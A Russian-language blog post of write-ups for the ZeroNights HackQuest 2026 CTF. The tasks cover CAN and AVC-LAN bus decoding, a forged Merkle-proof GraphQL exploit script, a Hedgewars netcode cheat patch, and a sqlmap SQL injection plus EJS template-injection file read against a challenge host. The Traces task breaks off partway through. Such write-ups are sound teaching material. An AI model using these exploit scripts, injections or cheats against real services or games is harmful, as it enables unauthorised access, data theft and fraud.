Разбор заданий ZeroNights HackQuest 2026

—

от автора

30 сентября мы провели конференцию по информационной безопасности ZeroNights 2026. Спасибо всем, кто решил поучаствовать! Без вас не было бы ни классных докладов, ни мерча, ни веселой суеты вокруг всего этого. Скоро начнём выкладывать материалы на сайт, там будут доступны презентации и видеозаписи докладов.

А пока хотим поделиться райтапами на задания HackQuest этого года. Это традиционное соревнование в формате CTF, которое мы проводим до начала конференции. Сильнейшие участники получают бесплатные билеты на ZeroNights. Отличный способ встряхнуться перед мероприятием!

Список победителей 2026

Day #1 / Car, Car Japan

Описание

So, some time ago, one of my friends finally acquired a car — not a new one, but a reliable, good Japanese car.

In its premium configuration, it was equipped with an artifact of the past — a whole CD changer! But, unfortunately, it did not work as intended — the car stereo always gave us a really strange error 🙁

Can you look at it and figure out what’s wrong?

capture.sr

This task was prepared by B4CKSP4CE

Райтап от feadal

Дамп логического анализатора (.sr — сессия sigrok) с шины японской магнитолы. На шести аналоговых каналах записаны две дифференциальные шины: CAN 62.5 kbps (там лежит фейковый флаг-обманка, та самая «странная ошибка» на дисплее) и Toyota AVC-LAN — шина CD-чейнджера. Чейнджер отдаёт по одному байту флага на каждую пару (диск, трек); опрашиваются они вперемешку, надо отсортировать.

Разбираем .sr чтобы понять, что на каналах

.sr — это ZIP с сессией sigrok. В metadata: samplerate=500000 Hz, 6 аналоговых каналов, ~2.02 с.

Беглая характеризация уровней и ширин импульсов даёт:

Каналы

Что это

CH2

напряжение борт-сети: 12.4 В → 8.9 В (стартер) → 14.2 В (генератор)

CH5

ACC-питание, включается на t≈0.817 с

CH1/CH4

2.5 В покой, ±1 В доминант, кратность 8 сэмплов, серии обрываются на 5 битах → CAN, bit-stuffing, 62.5 kbps

CH3/CH6

старт-бит 168 мкс, период бита 39 мкс, high 20/33 мкс → AVC-LAN

Фейковый CAN

CAN декодируется в 491 кадр, все CRC-valid, ID 0x0C4, 0x0B4, 0x3B4, 0x5D0. 0x5D0 — 6 чанков с индексом в байте 0, повторяются каждые ~320 мс:

00 |notzn{y| 01 |0U7_p71| 02 |NCe5S_1|03 |s_1N_4n| 04 |07He7_C| 05 |4s71E}|

Склеиваем: notzn{y0U7_p71NCe5S_1s_1N_4n07He7_C4s71E} — то есть это и есть «странная ошибка», которую показывает магнитола, и явное указание искать в другом месте — на шине чейнджера.

AVC-LAN

Кадр AVC-LAN: start | brd(1) | master(12)+p | slave(12)+p | ACK | CTL(4)+p | ACK | DL(8)+p | ACK | DL×[data(8)+p+ACK], то есть ровно 44 + 10·DL бит после старт-бита.

Единственная засада — полярность бита инвертирована относительно того, что обычно пишут в описаниях AVC-LAN: здесь high 33 мкс = 1, 20 мкс = 0. Проверяется мгновенно: только при такой полярности CTL становится 0xF, адреса — 0x190 (голова) и 0x360 (чейнджер), а DL сходится с длиной кадра.

Голова перебирает магазин (00 25 63 90 <disc> — выбрать диск, 00 25 63 94 <track> — трек), запрашивает 00 31 63 ED <disc> <track>, а чейнджер отвечает 00 63 31 FD <disc> <track> 01 00 <byte> — и вот этот последний байт и есть символ флага. Диски опрашиваются в перемешанном порядке, сортировка по (disc, track) собирает строку.

Скрипт для получения флага:

#!/usr/bin/env python3import sys, zipfileimport numpy as npSR = 500_000.0          # from the sigrok `metadata` fileSR_FILE = sys.argv[1] if len(sys.argv) > 1 else 'zn26-day1-car-japan-MK5V6ByS9Ab5.sr'# --- 1. read the two AVC-LAN channels straight out of the sigrok session ----with zipfile.ZipFile(SR_FILE) as z:    ch3 = np.frombuffer(z.read('analog-1-3-1'), dtype='<f4')   # AVC-LAN bus-    ch6 = np.frombuffer(z.read('analog-1-6-1'), dtype='<f4')   # AVC-LAN bus+bus = (ch6 - ch3) > 0.6                                        # differential -> digital# --- 2. AVC-LAN is pulse-width coded: measure every high pulse ---------------chg = np.flatnonzero(np.diff(bus.astype(np.int8))) + 1edges = np.concatenate(([0], chg, [len(bus)]))runs = [(bool(bus[edges[i]]), int(edges[i]), int(edges[i + 1] - edges[i]))        for i in range(len(edges) - 1)]highs = [(st, ln) for lvl, st, ln in runs if lvl]# bit period 39us: start bit ~168us, logic 1 = 33us high, logic 0 = 20us highframes, cur = [], Nonefor start, width in highs:    us = width / SR * 1e6    if us > 100:                       # start bit -> new frame        if cur:            frames.append(cur)        cur = []        continue    if cur is not None:        cur.append(1 if us > 26 else 0)if cur:    frames.append(cur)def num(bits):    v = 0    for b in bits:        v = (v << 1) | b    return v# --- 3. parse frames: brd(1) M(12)+p S(12)+p ACK CTL(4)+p ACK DL(8)+p ACK ----#        then DL x [ data(8) + parity + ACK ]                = 44 + 10*DL bitschars = {}for s in frames:    if len(s) < 44 or num(s[28:32]) != 0xF:      # CTL is always 0xF        continue    master, slave, dl = num(s[1:13]), num(s[14:26]), num(s[34:42])    data, p = [], 44    for _ in range(dl):        if p + 10 > len(s):            break        assert (bin(num(s[p:p + 8])).count('1') + s[p + 8]) % 2 == 0, 'parity'        data.append(num(s[p:p + 8]))        p += 10    # CD changer (0x360) -> head unit (0x190): "track info" reply    #   00 63 31 FD <disc> <track> 01 00 <byte>    if (master, slave) == (0x360, 0x190) and data[:4] == [0x00, 0x63, 0x31, 0xFD]:        chars[(data[4], data[5])] = data[8]# --- 4. the changer stores one flag byte per (disc, track); sort to reassembleflag = ''.join(chr(chars[k]) for k in sorted(chars))print(f'{len(chars)} slots over discs {sorted({d for d, _ in chars})}')print(flag)

Вывод:

$ python3 solve.py zn26-day1-car-japan-MK5V6ByS9Ab5.sr28 slots over discs [1, 2, 3, 4, 5, 6]zn{V5t4v1l_D1sK1_v_d15K0v0D}

Day #2 / ShadowPool

Описание

Hi, anon! Looks like there is some free XMR floating around. ShadowPool operators were careful with their money, but not quite careful enough with proofs.

Find what they missed. The XMR is yours.

zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onion

This task was prepared by @crytech7

Подсказки

23/08/2026 15:05 Seems like ShadowPool operators deployed to mainnet at around 13:37.

1.116 XMR still awaits u 💚

Райтап от mkvfaa

Смотрим где мы

Т.к. таск развёрнут в Tor, я поднял себе прокси на 127.0.0.1:9051 и все запросы дальше ходили через него

На сайте нашлись документация, REST API и GraphQL. Самой полезной оказалась страница /docs. Там без особых загадок была дана схема proof:

leaf_hash = SHA256(secret || serial)commitment = SHA256(leaf_hash || blind)challenge = SHA256(epoch_root || commitment)response = SHA256(challenge || secret || blind)

Дальше verifier должен пройти по witness_path и получить epoch_root.

blind здесь является случайной солью для commitment. Если один и тот же лист использовать несколько раз с разными blind, commitment будет разным, то:

SHA256(leaf_hash || blind_1) != SHA256(leaf_hash || blind_2)

На стойкость SHA-256 задание явно не намекало. Значит, надо смотреть не на хеш, а на то, какие данные сервер считает доверенными.

GraphQL-схема была небольшой. Интересные поля:

getEpochsgetAccount(id)persistedQueriesverifyBetaReserveProof(input)proofJob(id)proofJobs

Вход для verifyBetaReserveProof:

ProofInput {    proofJson    accountId    action}

Выход:

ProofResult {validtokenflag}

Здесь уже было подозрительно, что accountId и action лежат рядом с proof, но не внутри него. В формуле challenge их тоже нет. Это означает, что proof ничего не говорит о том, для какого аккаунта и какой операции он был создан.

На тот момент я это заметил, но решил, что сначала все равно понадобится настоящий лист. Это и было первой ошибкой в направлении поиска.

История с 150 аккаунтами

/api/stats показывал примерно такое:

accounts: 150proofs_verified: 414

Через proofJobs выгружалось около 600 заданий. В них было 147 уникальных accountId.
Разница ровно в три аккаунта выглядела слишком непонятно.

Дальше было много работы, которая в итоге не понадобилась:
* собрал все job; * выделил уникальные account ID; * сравнивал аккаунты по эпохам и действиям; * разбил 147 ID на группы и прогонял запросы; * пытался понять, можно ли восстановить оставшиеся UUID.

В jobs встречались действия:

CHECK_MEMBERSHIPQUERY_STATUSVERIFY_MEMBER

Все они с моим proof давали общий ответ:

credit service error

В итоге никакой специальной тройки искать не требовалось. Для рабочего запроса подошел бы любой опубликованный account ID.

Старые persisted queries

Следующей находкой была история persisted queries. В ней встречались весьма многообещающие названия:

getLeafsubmitProofcreateAccountgetEntitlementclaimEntitlementgetSyntheticCreditsgetClaimStatequeryAccountStatus

Я разобрал около двухсот записей и пытался воспроизвести старые операции. Почти все эти поля уже отсутствовали в текущей схеме.

Некоторое время казалось, что решение должно использовать старый claimEntitlement или же факт, что через старый getLeaf можно достать материал для настоящего доказательства. Ничего из этого не сработало. Актуальная точка входа все время была перед глазами verifyBetaReserveProof.

Beta token

Еще в приложении был публичный beta token 3eb4d6c11d416459f7284215152eb114

По названию GraphQL-поля это выглядело логично: есть verifyBetaReserveProof, есть beta token, значит token надо куда-то передать.

Я попробовал обычные варианты вроде:

Authorization: BearerAuthorization:X-Beta-Token:X-API-Key:Cookie: betaToken=

Потом использовал token как accountId, как часть secret, serial и blind. Поведение не изменилось. Для успешной эксплуатации token не понадобился вообще.

Monero view key

Маршрут /api/pool/info отдавал Monero-адрес и приватный view key. Ключ действительно соответствовал адресу, это удалось проверить локально.

После текста про free XMR такая утечка выглядит почти готовым ответом. Но приватный view key в Monero позволяет видеть входящие транзакции, а не тратить средства. Spend key сервис не отдавал.

Я все равно проверил несколько вариантов: * адрес как account ID; * view key как secret; * адрес и key как serial/blind; * хеши этих значений в proof; * возможную связь баланса пула с credit service.

Флаг к view key отношения не имел.

Отдельно мешал /api/pool/balance. Он успел показать:

wallet rpc unreachable0частично синхронизированный баланс

Из-за этого credit service error сначала воспринимался как проблема инфраструктуры. Нельзя было понять, отвергнут ли action или просто снова не поднялся wallet RPC.

Возвращаемся к proof

После всех этих кругов я снова посмотрел на формат доказательства. У verifier есть три сущности:

  1. лист;

  2. путь от листа до корня;

  3. доверенный корень, с которым надо сравнить результат.

Первые две присылает пользователь. Третью сервер обязан брать у себя. Но epoch_root находился прямо в proofJson. Тогда возник простой тест: что будет, если путь пустой?

Обычный расчет Merkle root выглядит примерно так:

current = leaf_hashfor sibling in witness_path:    current = hash_pair(current, sibling)    return current

Если witness_path = [], цикл не выполняется и результатом становится сам leaf_hash.

Значит, можно положить:

witness_path = []leaf_index = 0epoch_root = leaf_hash

Получается весь proof собрать из произвольных данных.

Я взял три простых значения:

secret = bytes.fromhex("03" * 32)serial = bytes.fromhex("04" * 32)blind = bytes.fromhex("05" * 32)

Естественно ллмкой написал скрипт:

import hashlibimport jsondef h(data):    return hashlib.sha256(data).digest()secret = bytes.fromhex("03" * 32)serial = bytes.fromhex("04" * 32)blind = bytes.fromhex("05" * 32)leaf_hash = h(secret + serial)epoch_root = leaf_hashcommitment = h(leaf_hash + blind)challenge = h(epoch_root + commitment)response = h(challenge + secret + blind)proof = {    "leaf_secret": secret.hex(),    "leaf_serial": serial.hex(),    "blind": blind.hex(),    "witness_path": [],    "leaf_index": 0,    "epoch_root": epoch_root.hex(),    "epoch": 40,    "commitment": commitment.hex(),    "response": response.hex(),}print(json.dumps(proof, separators=(",", ":")))

Получились такие значения:

epoch_root = 505a9c6ac70bdffa46248e2025483f9fe997a0e31ed25559e448b73b7e02b9bdcommitment = c9a20c9797170bbe04ca1923ab19f821751c045c103d8a490c382d22852af9a7response = 11a891c34d9851f7da7648f5069cb65a3d028029a50afc37300e46479e3a9df7

Отправляю это в /api/proof/verify и получаю:

{"valid":true}

Вот здесь задача фактически решена. Я не знаю ни одного настоящего листа, но сервер считает мое доказательство валидным.

Ошибка verifier в псевдокоде:

computed_root = walk(leaf_hash, proof.witness_path, proof.leaf_index)return computed_root == proof.epoch_root

Должно быть:

trusted_root = roots_from_database[proof.epoch]computed_root = walk(leaf_hash, proof.witness_path, proof.leaf_index)return computed_root == trusted_root

Никакой крипты тут нет. Сервер пересчитывает все хеши, но сравнивает результат еще с одним значением атакующего (моим).

Proof валидный, а флага все еще нет

После /api/proof/verify я ожидал, что GraphQL сразу отдаст token или flag. Не отдал 🙁

Сначала попробовал действия из открытых jobs:

CHECK_MEMBERSHIPQUERY_STATUSVERIFY_MEMBER

Ответ:

credit service error

Попробовал варианты от имени GraphQL-операции:

verifyBetaReserveProofVERIFY_BETA_RESERVE_PROOFBETA_RESERVERESERVE_PROOFVERIFY_RESERVEBETA_RESERVE_PROOFCLAIM_RESERVE

И снова одна и та же ошибка.

На этом этапе было непонятно, что именно не работает. Proof отдельно уже проходит. Account ID существует. GraphQL принимает запрос. Остается action или внутренний credit service.

Я собрал небольшой список слов из интерфейса и названий старых запросов. Сработал последний нормальный кандидат:

RESERVE_CREDIT

Это была вторая половина решения. action не был частью challenge, поэтому тот же самодельный proof можно было использовать для привилегированной операции. То же относится к accountId. В proof нет идентификатора аккаунта, значит сервер криптографически не может установить, для кого proof был выпущен.

Флаг

query VerifyBetaReserveProof($input: ProofInput!) {  verifyBetaReserveProof(input: $input) {    valid    token    flag  }}

Полный вариант на Python (писала естественно нейронка):

import hashlibimport jsonimport requestsURL = (    "http://zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onion/graphql")def h(data):    return hashlib.sha256(data).digest()secret = bytes.fromhex("03" * 32)serial = bytes.fromhex("04" * 32)blind = bytes.fromhex("05" * 32)leaf_hash = h(secret + serial)root = leaf_hashcommitment = h(leaf_hash + blind)challenge = h(root + commitment)response = h(challenge + secret + blind)proof = {    "leaf_secret": secret.hex(),    "leaf_serial": serial.hex(),    "blind": blind.hex(),    "witness_path": [],    "leaf_index": 0,    "epoch_root": root.hex(),    "epoch": 40,    "commitment": commitment.hex(),    "response": response.hex(),}query = """query VerifyBetaReserveProof($input: ProofInput!) {  verifyBetaReserveProof(input: $input) {    valid    token    flag  }}"""variables = {    "input": {        "proofJson": json.dumps(proof, separators=(",", ":")),        "accountId": "24dd71b9-f06b-4fc7-bdea-6955908dfbbc",        "action": "RESERVE_CREDIT",    }}response = requests.post(    URL,    json={"query": query, "variables": variables},    proxies={        "http": "socks5h://127.0.0.1:9051",        "https": "socks5h://127.0.0.1:9051",    },    timeout=30,)print(response.status_code)print(response.text)

Запускаем эксплоент:

valid: truetoken: 38a40112-ac83-4eea-b7e1-6b83fe328d21flag: zn{r3m3m83r_m0n3y_15_ju57_4n0th3r_4774ck_v3c70r}

Дело сделано. Всего-то нужно был пару часов отдыха и два бокала пива, чтобы вернуться с бара и сдать флаг. Даже не надеялся, что я первый. Всем спасибо!

Day #3 / Hedgewars

Описание

As always in SPbCTF tradition, the path to a ZN invite goes through hedgehogs. We are confident in our hedgehog mastery.
Can you defeat us in a first-to-7-wins Hedgewars match?

Let’s play! 🎮 → t.me/spbctf_zn_hedgewars_bot

You’re allowed and welcome to work together with AI agents on this challenge. Use your brain too though: in our tests agents couldn’t defeat us on their own.

This task was prepared by SPbCTF

Подсказки

24/08/2026 20:00 Task was extended till 23:59:59

24/08/2026 15:00 But maybe you can make your own luck, and pull a good weapon out of the crate every time?

Райтап от danosito

Краткое введение в курс дела

В таске выдан телеграм бот. Единственный его функционал — выдать инстанс, вот как выглядит общение с ним:

Диалог с ботом: получение инстанса

Диалог с ботом: получение инстанса
Диалог с ботом: инструкция по подключению

Диалог с ботом: инструкция по подключению

Из этого мы получаем свой инстанс, набор настроек оргов, и информацию о игре — Hedgewars версии 1.0.0

Скачиваем сурсы и готовую версию, и начинаем изучать. Понимаем, что игра очень напоминает червяков (известная серия worms), но со своим флёром FLOSS (supertuxkart, привет). Заходим и пытаемся поиграть — https://youtu.be/7cv9nfjpGYc — и терпим фиаско.

Бот противника ходит первым и кидает в нас снарядом. У нас есть возможность сделать один ход. После этого бот противника вызывает на нас авиаудар. Бот противника гарантированно нас убивает, если следовать теории игр, даже с идеальной меткостью — лучшее, что мы можем в него кинуть — тот же снаряд, и нанести столько же урона, чтобы он нас авиаударом добил. Раньше использовать авиаудар нельзя: в приложенных правилах комнаты есть задержка на его использование.

Правила и настройки комнаты

Правила и настройки комнаты

И надо искать другие выходы из ситуации. Уже погодя можно понять, что основная идея — контейнеры и PRNG, но я пытался решить до появления первых хинтов.

Основной ресерч

Для начала надо понять архитектуру, ведь она тут занятная. Непонятно, авторы ли принимают очень необычные решения по архитектуре, или проект делался как сугубо одиночный, в который пришлось впиливать мультиплеер. Следите за руками:

  • Движок на паскале, отвечающий за физику и логику игры — по сути ядро проекта

  • qt интерфейс на плюсах, отвечающий за всю не-игровую логику — мультиплеер, чат, меню. Связан по IPC с движком

  • Сервер на хаскеле, который сделан как дополнительный слой для передачи между множеством движков. Интересно, что он не реализует никакой логики/физики, а является по сути файерволом, который решает какие сообщения раскидать всем движкам, подключенным к игре.

Исходя из этой достаточно экзотической архитектуры, можно заметить достаточно уязвимую точку: сервер, который не валидирует ничего кроме базовых проверок пакетов. Натравляем кодекс анализируем код сервера и находим валидацию пакетов.

handleCmd_inRoom ["EM", msg] = do    cl <- thisClient    rm <- thisRoom    chans <- roomOthersChans    let (legalMsgs, nonEmptyMsgs, lastFTMsg) = checkNetCmd (teamIndexes cl) msg -- teamIndexes = cl, проверка из EngineInteraction    if teamsInGame cl > 0 && (isJust $ gameInfo rm) && (not $ B.null legalMsgs) then -- проверка наличия команды в матче + валидности сообщения        return $ AnswerClients chans ["EM", legalMsgs] -- отдает на все движки сообщение, если оно валидно + все символы в вайтлисте            : [ModifyRoom (\r -> r{gameInfo = liftM                (\g -> g{                    roundMsgs = if B.null nonEmptyMsgs then roundMsgs g else nonEmptyMsgs : roundMsgs g                    , lastFilteredTimedMsg = fromMaybe (lastFilteredTimedMsg g) lastFTMsg})                $ gameInfo r}), RegisterEvent EngineMessage]        else        return []
checkNetCmd :: [Word8] -> B.ByteString -> (B.ByteString, B.ByteString, Maybe (Maybe B.ByteString))checkNetCmd teamsIndexes msg = check decoded    where        decoded = liftM splitMessages $ Base64.decode msg        check (Left _) = (B.empty, B.empty, Nothing)        check (Right msgs) = let (a, b) = (filter isLegal msgs, filter isNonEmpty a) in (encode a, encode b, lft a) -- фильтр по вайтлисту + валидность        encode = Base64.encode . B.concat        isLegal m = (B.length m > 1) && (flip Set.member legalMessages . B.head . B.tail $ m) && not (isMalformed (B.head m) (B.tail m)) -- легально если 2+ байта, в вайтлисте и валидно        lft = foldr l Nothing        l m n = let m' = B.head $ B.tail m; tst = flip Set.member in                      if not $ tst timedMessages m' then n                        else if '+' /= m' then Just Nothing else Just . Just . Base64.encode $ m        isNonEmpty = (/=) '+' . B.head . B.tail        legalMessages = Set.fromList $ "M#+LlRrUuDdZzAaSjJ,NpPwtgfhbc12345" ++ slotMessages -- вайтлист сообщений        slotMessages = "\128\129\130\131\132\133\134\135\136\137\138" -- выбор слота        timedMessages = Set.fromList $ "+LlRrUuDdZzAaSjJ,NpPwtgfc12345" ++ slotMessages        isMalformed 'h' m | B.length m >= 3 = let hognum = m `B.index` 1; teamnum = m `BW.index` 2 in hognum < '1' || hognum > '8' || teamnum `L.notElem` teamsIndexes                          | otherwise = True -- единственная проверка принадлежности действия реальному отправителю - для команды h        isMalformed _ _ = False

Замечаем, что из валидации здесь — только команды в матче, legalMsgs и checkNetCmd. Несмотря на передачу отправителя в checkNetCmd, реально он проверяется только для опкода h — остальные опкоды слепо передаются во все движки, которые находятся в игре. Смотрим, какие опкоды вообще существуют, какую пользу могут нам давать, и находим в движке:

',': ParseCommand('skip', true); // интересная нам команда для скипа
procedure chSkip(var s: shortstring); // при поступлении команды в двжиок не проверяется, кто отправил скип - игрок, который сейчас ходит или противник, который ждетbegins:= s; // avoid compiler hintif not isExternalSource then    SendIPC(_S','); // это просто отправка команды, если нажал игрок. (чтобы другие поняли что он скипает ход) Флаг выставляется незаивсимо от этого(ниже)uStats.Skipped;skipFlag:= true; // флаг скипа выставляется в любом случаеScriptCall('onSkipTurn');end;

Запятая находится в вайтлисте, следовательно мы можем отправить этот опкод не в свой ход, и движок противника обработает его! Смотрим реакцию на выставление флага:

if skipFlag then    begin    if TagTurnTimeLeft = 0 then        TagTurnTimeLeft:= TurnTimeLeft; // передача хода внутри команды(то есть еж нажал скип, следующий ходит). В нашем случае не актуально - 1v1    TurnTimeLeft:= 0;// после выставления скип флага обнуляется время хода активного игрока в движке    skipFlag:= false;    inc(CurrentHedgehog^.Team^.stats.TurnSkips);    end;

Обнуление времени хода и его автоматическое завершение (не буду цитировать весь игровой цикл, но он работает пока TurnTimeLeft > 0) хода активного игрока в движке. А мы можем отправить, не в свой ход -> завершить ход противника не в свой ход! Кажется, это то, что нам нужно.

Попробовав реализовать простенькое чит меню (кстати, вот как оно выглядит):

Чит-меню

Чит-меню

К своему великому сожалению при попытке использования бот выводит следующее:

[SPbCTF-Hedgie-02] oops, queue error. in buffer: , (4910 > 4904) — crashes do not score![SPbCTF-Hedgie-02] you can't talk on my behalf, that trick just cost you the round. you must actually defeat me!

Погоняв тесты, понимаем что в 1/10 случаев трюк работает и бот пропускает свой ход — уже прогресс, но есть проблема — такая нестабильность не даст нам 50+% побед, необходимые, чтобы обыграть бота минимум 7 из 14 раз. С обычными командами ходов (выстрел, движение, скип) передается таймстамп команды — вот так выглядит отправка команды, с привязкой к тикам:

  SDLNet_Write16(GameTicks, @s[Succ(byte(s[0]))]);  inc(s[0], 2);

Для skip итоговый фрейм выглядит концептуально так:

  [03][,][tick16]

Получив фрейм, движок кладёт его в FIFO-команд:

  loTicks := SDLNet_Read16(...);  AddCmd(loTicks, s);

А потом исполняет, только если timestamp совпадает с его GameTicks:

  GameTicks = (hiTicks << 16) + headcmd^.loTime

Поэтому обычная отправка умирает, если мы не угадаем тик (а они меняются слишком быстро, чтобы мы могли подобрать стабильный оффсет).

Изучив ещё код очереди и диспатча ходов, находим интересный опкод N, который тоже находится в вайтлисте:

        'N': begin            tmpflag:= false;            lastTurnChecksum:= SDLNet_Read32(@headcmd^.str[2]);            AddFileLog('got cmd "N": time '+IntToStr(hiTicks shl 16 + headcmd^.loTime))             end;

Самое интересное — что делает отключение tmpflag

while (headcmd <> nil)    and (tmpflag or (headcmd^.cmd = '#')) // '#' is the only cmd which can be sent within same tick after 'N'    and ((GameTicks = LongWord(hiTicks shl 16 + headcmd^.loTime))        or (headcmd^.cmd = 's') // for these commands time is not specified        or (headcmd^.cmd = 'h') // seems the hedgewars protocol does not allow remote synced commands        or (headcmd^.cmd = '#') // must be synced for saves to work        or (headcmd^.cmd = 'b')        or (headcmd^.cmd = 'F')        or (headcmd^.cmd = 'G')) do    begin    case headcmd^.cmd of        '+': ; // do nothing - it is just an empty packet        '#': begin            AddFileLog('hiTicks increment by remote message');            inc(hiTicks);            end;        'L': ParseCommand('+left', true);        ... - тут кейсы для парса команд        '1'..'5': ParseCommand('timer ' + headcmd^.cmd, true);        else            if (byte(headcmd^.cmd) >= 128) and (byte(headcmd^.cmd) <= 128 + cMaxSlotIndex) then                ParseCommand('slot ' + char(byte(headcmd^.cmd) - 79), true)                else                OutError('Unexpected protocol command: ' + headcmd^.cmd, True)        end;    RemoveCmd    end;if (headcmd <> nil) and tmpflag and (not CurrentTeam^.hasGone) then    checkFails(GameTicks < LongWord(hiTicks shl 16) + headcmd^.loTime,            'oops, queue error. in buffer: ' + headcmd^.cmd +            ' (' + IntToStr(GameTicks) + ' > ' +            IntToStr(hiTicks shl 16 + headcmd^.loTime) + ')',            true);

то есть цикл идет, покуда tmpflag активен, и отправка N его завершает. И самое интересное — структура encoded message (просто кодирование команд в b64) позволяет отправить несколько опкодов и команд за раз. Например, сходить вперед и скипнуть ход. Диспатч будет происходить внутри цикла по очереди — RemoveCmd просто забирает следующую команду из encoded message, и цикл её диспатчит до проверки номера тика на соответствие локальному. Эта проверка есть только после диспатча ВСЕГО encoded message. Здесь уже в голову очевидно приходит пейлоад — отправка внутри одного EM 2 пакетов — ,N . Это дает скип хода противником и завершение его хода: и внутренняя стейт машина будет согласована во всем, кроме номера тика (после скипа он начнет считать, что тиков на ход не осталось, а после N CurrentTeam^.hasGone станет true и синхронизация пойдет уже по правилам противника, без сверки).

Остается реализовать этот чит, что делается очень несложно — в SendIPC (отправке команд через IPC с плюсовским клиентом) в отправку команды с чексуммой (по сути, наш клиент уже собрал N за нас) инжектим оригинал:

procedure SendIPC(s: shortstring);beginif IPCSock <> nil then    begin    if s[0] > #251 then        s[0]:= #251;    SDLNet_Write16(GameTicks, @s[Succ(byte(s[0]))]);    AddFileLog('[IPC out] '+ sanitizeCharForLog(s[1]));    inc(s[0], 2);    if isSyncedCommand(s[1]) then // здесь готовую команду отправляют - инжектить можно сюда        begin        if sendBuffer.count + byte(s[0]) >= cSendBufferSize then            flushBuffer();        Move(s, sendBuffer.buf[sendBuffer.count], byte(s[0]) + 1);        inc(sendBuffer.count, byte(s[0]) + 1);        if (s[1] = 'N') or (s[1] = '#') then            flushBuffer();        end else        SDLNet_TCP_Send(IPCSock, @s, Succ(byte(s[0])))    endend;

Патч идёт сюда, вот он:

    if isSyncedCommand(s[1]) then        begin        skipBeforeN:= (s[1] = 'N') and (not GameOver)                   and (GetEnvironmentVariable('ZN_AUTO_SYNC_SKIP_BEFORE_N') <> '0'); // проверяем, что клиент уже собрал N за нас - инжектить будем туда(ну и что инжект включен в настройках)        if skipBeforeN then            begin            injected:= ','; // символ скипа            SDLNet_Write16(GameTicks, @injected[2]); // тик - необходим в пакете скипа            injected[0]:= #3; // размер пакета скипа            if sendBuffer.count + byte(injected[0]) >= cSendBufferSize then                flushBuffer();            Move(injected, sendBuffer.buf[sendBuffer.count], byte(injected[0]) + 1); // вставка символа скипа            inc(sendBuffer.count, byte(injected[0]) + 1); // и подгон размера итогого пакета            ParseCommand(_S'skip', true, true); // для синхронизации локального состояния на клиенте с читом добавляем в историю как будто противник скипнул ход - чтобы не было рассинхрона            end;        if sendBuffer.count + byte(s[0]) >= cSendBufferSize then            flushBuffer();

После настройки, подгонки и дебага запускаем итоговый чит клиент. И о чудо — оно живое! Получается заставить противника скипать ходы всегда и таким образом выигрывать. https://youtu.be/VKopH5QSBDg — вот пример выигранной игры с читом. Промахиваемся снарядом пока противник ничего не может сделать и получаем авиаудар. Им и добиваем врага. Таким образом, набиваем 7 побед и получаем заслуженный флаг.

Полученный флаг

Полученный флаг

zn{y0u_g0t_0v3r_7he_h3dge_4nd_land3d_at_z3r0n16h75}

Думаю, внимательный читатель заметил, что в таске всё кричало, что надо не искать 0day в непопулярной игре, а использовать публичность сида и перезаходить в комнату до тех пор, пока в ящике не появится крутой дроп. Но я решил по другому — в моменте стало интересно попробовать, потом уже хотелось довести до рабочего состояния.

P. S. показанный чит сработал даже в онлайне — зашел один раз для валидации, и получил обвинения в том, что я злой читер:) (не читерите, друзья)

Day #4 / Bannerboard

Описание

This is an internal platform for booking banner placements under partnership agreements. It’s still a work in progress, but there’s already enough functionality to get developers fired.

Take a look

This task was prepared by DSEC by Solar

Райтап от vos

  1. Регаемся, в /api/users/me видим, что из имени и фамилии складывается username вида “f.lastname”. Там же видно, что если вместо me подставить юзернейм — покажет инфу по нему.

  2. В разделе новостей есть Юрий Максимов и Владимир Никитин → айдорим y.maksimov (y.maksimov@bannermedia.local, role admin) и v.nikitin (v.nikitin@bannermedia.local, role user)

  3. В ЛК новости дёргают /api/news?topic=all&limit=10 — в лимите SQLi с запрещёнными пробелами (при этом странный — second order sqli где сначала селектается число, и подставляется во второй запрос в LIMIT)

  4. Пывнануть: sqlmap -u 'http://80.249.144.251:3000/api/news?topic=all&limit=5*' --tamper=space2comment --cookie 'connect.sid=s%3AANhs9224-pO_VzsyJfyVtX_p2GRlEEVl.UV86Y7h6Thz9zav05%2BSprYmNEhZNDwKGujL7vbsBFIQ' — единственная табличка resetTokens, в которой токен b0a7f3d19c4e8a62 для uid 2

  5. В auth.js на странице восстановления пароля видно формат урла с токеном, http://80.249.144.251:3000/forgot?magictoken=b0a7f3d19c4e8a62&email=v.nikitin@bannermedia.local — задаём пароль Никитину, теперь в ЛК есть доступ к управлению баннерами

  6. На любой ID баннера говорит “unknown banner slot”, но внезапно проканывает __proto__, видимо проверяется вхождение в объекте/массиве

  7. В превьюхалке работают темплейты вида <%= 7*7 %> (а-ля EJS), вызовом include() можно читать файлы

  8. <%= include("package.json") %> → видны пути до src/server.js
    <%= include("src/server.js") %> → видно require(“./flag”)
    <%= include("src/flag.js") %> → флажок

Day #5 / Traces

Описание

Hexline is a modern lightweight article publication platform.

I heard that it leaves some strange traces.

traces.zip

This task was prepared by VolgaCTF

Райтап от mixinspace

forensics / crypto / reverse

Hexline is a modern lightweight article publication platform.
I heard that it leaves some strange traces.

Исходные данные

Нам даны следующие файлы:

README.mdcompose.ymlimages.tartraffic.pcapng

Архив images.tar содержит образы zn-2026-traces-web:latest и zn-2026-traces-db:latest.

traffic.pcapng — дамп трафика, в нем 16 TCP/TLS-соединений к 172.28.0.20:443. Все соединения зашифрованы и используют TLS_AES_256_GCM_SHA384.

Сразу заметил, что большинство пакетов имеют нестандартную группу, с key_share 44 байта.

key share

key share

В web-образе находятся три полезных артефакта:

/usr/lib/x86_64-linux-gnu/ossl-modules/traces.so/etc/traces/openssl.cnf/usr/local/bin/traces-client

openssl.cnf активирует provider traces, а клиент явно запускает:

curl --tlsv1.3 --tls-max 1.3 --curves traces --http1.1 ...

В nginx.conf также указано:

ssl_protocols  TLSv1.3;ssl_ecdh_curve traces:X25519:secp256r1:secp384r1;

Будем анализировать эту библиотеку traces. С небольшой помощью от нейронки извлекли следующие параметры:

p     = 0x036481ef080c145eb640f937b052e7bf1d13bbdbbe55tr_g1 = 0x01346da6b3f76a70512ac04fc79f6145310651c454f6tr_g2 = 0x026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452

А также она пояснила, что собой представляет traces:

traces.so — это XTR над циклотомической подгруппой GF(p^6)*. По сети передаётся не сам элемент h, а его trace в подполе GF(p^2)

Разберемся.

Ликбез

Группа (G) — это множество элементов и операция, для которых выполняется:

  1. Результат операции снова находится в множестве

  2. Есть нейтральный элемент

